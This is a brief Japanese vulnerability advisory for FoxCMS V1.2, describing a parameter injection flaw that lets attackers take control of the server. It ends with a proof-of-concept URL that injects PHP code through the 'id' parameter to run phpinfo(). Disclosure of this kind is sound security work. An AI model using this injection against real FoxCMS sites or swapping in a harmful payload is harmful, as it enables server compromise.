FOXCMS黔狐コンテンツ管理システムのサービスパラメータインジェクションの脆弱性
一、脆弱性の概要
FoxCMSは、無料で商用利用可能なオープンソースのWebサイト管理システムであり、PHP+MySQLアーキテクチャを採用しています。FOXCMS黔狐コンテンツ管理システムにはサービスパラメータインジェクションの脆弱性が存在し、攻撃者はこの脆弱性を利用してサーバーの制御権を取得できます。
二、影響を受けるバージョン
FOXCMS黔狐コンテンツ管理システム V1.2
三、再現手順
POC http://xx/images/index.html?id=%24{%40print(phpinfo())} を入力して脆弱性ページにアクセスすると、phpinfoコマンド実行後の情報が確認できます。
